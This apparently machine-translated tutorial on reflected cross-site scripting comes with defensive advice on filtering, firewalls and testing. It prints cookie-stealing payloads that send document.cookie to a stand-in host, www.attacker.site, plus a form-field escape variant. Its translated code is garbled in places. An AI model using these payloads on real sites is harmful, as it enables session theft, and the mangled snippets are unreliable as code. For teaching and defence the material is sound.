What will happen in cross-site scripting attacks?
Cross-site scripting (XSS) is one of the most common application layer attacks that hackers use to intrude into Web applications. XSS is an attack on the customer's privacy of special Web sites. When the customer's detailed information is stolen or controlled, it may cause a thorough security threat. Most website attacks only involve two groups: hackers and websites, or hackers and client victims. Unlike those attacks, XSS attacks involve three groups at the same time: hackers, clients, and Web sites.
XSS attacks aim to steal client cookies or any other sensitive information that can be used to determine the customer's identity on the Web site. With the mark of a valid user, hackers can continue to assume that the user interacts with the site, thus impersonating the user. For example, an investigation into a large company shows that it is possible to peat users' credit card numbers and private information using XSS attacks. This is achieved by running malicious JavaScript code on the victim client browser using the access privileges of the Web site. These are very limited JavaScript privileges. Except for site-related information, scripts are generally not allowed to access any other content. It is important to note that, although there are security vulnerabilities on the Web site, the Web site has never been directly hurt. However, this is enough for scripts to collect cookies and send them to hackers. Therefore, hackers obtain cookies and impersonate victims.
In-depth analysis of XSS Technology
Let's call the attacked site. The core of the traditional XSS attack is the fragile script in the vulnerable site. Some HTTP requests read from these scripts are usually parameters, but sometimes there are HTTP header fields or paths ), in addition, if encryption is not performed for the first time, it is returned to the response page in whole or in part. Therefore, it is not guaranteed that it does not contain JavaScript code or HTML tags ). Therefore, assume that the script name is welcome. cgi and its parameter is name. You can perform the following operations:
GET/welcome. cgi? Name = Joe % 20 Hacker HTTP/1.0
Host: www. vulnerable. site
Response:
<HTML>
<Title> Welcome! </Title>
Hi Joe Hacker <BR>
Welcome to our system
...
</HTML>
How was this stolen? Hackers tried to lure victims into clicking the links they provided to users. This is a well-designed and malicious link that induces the victim's Web browser to access the site www. vulnerable. site) and call the intrusion script. The script contains the JavaScript code used to illegally access cookies stored on the www. vulnerable. site browser. This is allowed because the client browser "has run" JavaScript from www. vulnerable. site, and the JavaScript Security model allows scripts from special sites to access cookies belonging to the site.
The link is as follows:
Http://www.vulnerable.site/welcome.cgi? Name = <script> alert (document. cookie) </script>
After clicking the link, the victim will generate a request for www. vulnerable. site, as shown below:
GET/welcome. cgi? Name = <script> alert (document. cookie) </script> HTTP/1.0
Host: www. vulnerable. site...
The response of vulnerable sites is:
<HTML> <Title> Welcome! </Title> Hi <script> alert (document. cookie) </script>
<BR> Welcome to our system...
</HTML>
The browser of the victim client will interpret the response as an HTML page containing a piece of JavaScript code. When executed, the code is allowed to access all cookies belonging to www. vulnerable. site. Therefore, it will pop up a window in the client browser to display all client cookies belonging to www. vulnerable. site.
Of course, real malicious attacks include sending these cookies to hackers. In this regard, hackers may establish a Web site www. attacker. site) and use scripts to receive cookies. In the pop-up window, the hacker writes the code to access the URL of www. attacker. site, and then calls the script for receiving cookies. The parameter is set to the stolen cookies. In this way, hackers can obtain cookies from the www. attacker. site Server.
Malicious links will be:
Http://www.vulnerable.site/welcome.cgi? Name = <script> window. open
("Http://www.attacker.site/collect
. Cgi? Cookie = "% 2Bdocument. cookie) </script>
The response page looks like this:
<HTML> <Title> Welcome! </Title> Hi
<Script> window. open ("http: // www.2cto.com/collect. cgi? Cookie = "+ document. cookie) </script>
<BR>
Welcome to our system... </HTML>
The browser that loads the page will immediately execute the embedded JavaScript and send it to www. attacker. collect. the cgi script sends the request with the www already owned by the browser. vulnerable. the value of site cookies. In this way, cookies of www. vulnerable. site owned by the client are leaked. This will allow hackers to impersonate victims. The customer's privacy is completely damaged.
Note:
The emergence of a JavaScript pop-up window usually indicates that the site is vulnerable to XSS attacks. If you can call the JavaScript Alert method, there is usually no reason window. open cannot be called successfully. This is why most XSS attack instances use the Alert method, because it is easy to detect its success.
Scope and Feasibility
The attack only occurs in the same browser that the victim uses to access the site www. vulnerable. site. Hackers need to force the client to access malicious links. This will be done in the following ways:
The hacker sends an email containing the HTML page that forces the browser to access the link. This requires the victim to use an HTML valid email client, and the HTML reader of the client is the same browser used to access www. vulnerable. site.
The client accesses a site that may be operated by hackers. The image link or other activated HTML forces the browser to access the link. Again, the browser must be the same as accessing the site and www. vulnerable. site.
Malicious JavaScript can access any of the following information:
Permanent cookies of www. vulnerable. site maintained by the browser.
The RAM cookies of www. vulnerable. site maintained by the browser instance only occur when you recently browse www. vulnerable. site.
The name of another window opened by www. vulnerable. site.
Any information that can be accessed through the current DOM, such as values, HTML code, and so on ).
Identity identification, verification, and authorization marks are usually maintained in the form of cookies. If these cookies are permanent, even if they are not used to access www. vulnerable. site, they are vulnerable to attacks. However, if cookies are temporary, such as RAM cookies, the client must be in a session that accesses www. vulnerable. site.
Another possible implementation of identity recognition is through URL parameters. In this case, you can use JavaScript to access other windows. Assume that the page with necessary URL parameters is named foobar ):
<Script> var victim_window = open (", 'foobar'); alert ('can access: '+ victim_commandid location.search) </script>
Cross-Site Scripting
In addition to <SCRIPT>, it is also possible to use other HTML tags to run JavaScript. In fact, it is also possible that malicious JavaScript code is stored on another server and forced the client to download the script and execute it. If you want to run a lot of code, or it is useful when the Code contains special characters.
Some situations about these possibilities:
In addition to <script>... </script>, hackers can use . This is useful for websites that filter <script> HTML tags.
In addition to <script>... </script>, you can also use <script src = "http: //...">. This is useful when JavaScript code is too long or contains banned characters.
Sometimes, the embedded data in the response page is in a non-free HTML environment. In this case, it is necessary to "escape" to a free environment and then attach an XSS attack. For example, if you use the default value of an HTML form field to inject data:
<Input type = text name = user value = "...">
Therefore, the data must contain "> at the beginning to escape to a free HTML environment. Data may be:
"> <Script> window. open (" http://www.attacker.site/collect.cgi? Cookie =
"+ Document. cookie) </script>
The result HTML is:
<Input type = text name = user value = ""> <script> window. open ("http://www.attacker.site/collect.cgi? Cookie = "+ document. cookie) </script>">
Other methods for executing traditional XSS attacks
So far, we have seen that XSS attacks can appear in the parameters of the GET request returned by a script. However, the POST request can also be used for attacks, or the path component of the HTTP request-or even some HTTP headers such as Referer ).
In particular, when the error page returns the wrong path, the path component is useful. In this case, malicious scripts contained in this path are often executed. It has been found that many Web servers are vulnerable to such attacks.
What's wrong?
It is important to know that, although the website is not directly affected by such attacks, the website continues to work normally, malicious code is not executed on the site, DoS is not reported, and data is not directly controlled, or read from the site), but it is still a defect in the privacy protection mechanism provided by the site to its visitors or clients. This is like using a weak security token to deploy applications. Hackers can guess the customer's security token and impersonate the customer.
The vulnerability in an application is a script that returns parameters regardless of the parameter value. A good script ensures that the parameter format is appropriate and contains reasonable characters. Valid parameters generally have no reasonable reason to include HTML tags or JavaScript code. for reliability, before the content is embedded in the response, or before the content is processed in the application, remove them from the parameters.
How to Protect websites from XSS attacks
The following three methods can be used to protect websites from XSS attacks:
1. Execute an internal input filter, which is sometimes called an input cleaning device ). For each user input in each internal script-parameter or HTTP header, advanced HTML tags, including JavaScript code, should be applied to filter. For example, the welcome. cgi script from the previous case study should filter the <script> tag After decoding the name parameter. This method has some serious adverse factors:
◆ It requires application programmers to be very proficient in security.
◆ It requires programmers to overwrite all possible Input Source Query parameters, POST Request body parameters, and HTTP headers ).
◆ It cannot defend against security vulnerabilities in third-party scripts or servers. For example, it cannot defend against problems on the Web server error page, which usually shows the resource path ).
2. Execute "output filter". In other words, filter user data when sent back to the browser, instead of when received by the script. A good example is to insert the input data into the database through a script, and then present the data from the database. In this case, it is important not to apply filtering to the original input string, but only to the output version. The defects of this method are similar to those of input filtering.
3. By installing a third-party application firewall, the firewall intercepts and blocks XSS attacks before they reach the Web server and vulnerable scripts. Whether it is a script or path from an internal application, a third-party script, or a script example that does not describe the resource at all, it is used to cause the 404 page response from the server ), application Firewall can overwrite all input methods, including paths and HTTP headers, in a general way ). For each input source, the application firewall checks data based on various HTML Tag mode and JavaScript mode. If the match succeeds, the request is rejected, and malicious input will not reach the server.
How to check whether your site is protected by XSS attacks
Checking websites against XSS attacks is an inevitable conclusion to enhance site security protection. Just like protecting your site from XSS attacks, you can also manually perform hard work to check the security of your site) or use an automatic Web application security vulnerability assessment tool, it reduces the check burden. This tool crawls the site and runs all the changes it knows based on the parameters, headers, and scripts found in the path. In these two methods, check the parameters, HTTP headers, and paths of each input script of the application in as many ways as possible ). If the response page contains JavaScript code that can be executed by the browser, the XSS security vulnerability is revealed. For example, send this text:
<Script> alert (document. cookie) </script>
For each parameter of each script, the simplest type of XSS security vulnerability is exposed by allowing the JavaScript browser). If the text is interpreted as JavaScript code, the browser will pop up the JavaScript Alert window. Of course, there are many other cases, so it is not enough to test this case. As you know, JavaScript may be injected into various fields in the request: parameters, HTTP headers, and paths. Although, in some cases, especially the HTTP Referer header), it is difficult to use a browser to perform attacks.
Summary
XSS attacks are one of the most common application layer attacks that hackers use to intrude into Web applications and are one of the most dangerous methods. It is an attack on the customer's privacy of special Web sites. When the customer's detailed information is stolen or controlled, it may cause a thorough security problem. Unfortunately, as described in this article, such attacks can be implemented without understanding customers or organizations under attack.
To prevent Web sites from being attacked by these malicious behaviors, it is critical that organizations implement online and offline security policies. This includes the use of automated security vulnerability assessment tools that can automatically test all common Web security vulnerabilities on the site and specific application security vulnerabilities, such as cross-site scripting. For comprehensive Online defense, it is equally important to install firewall applications that can detect and defend against any control over the code and content stored on the Web server.
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
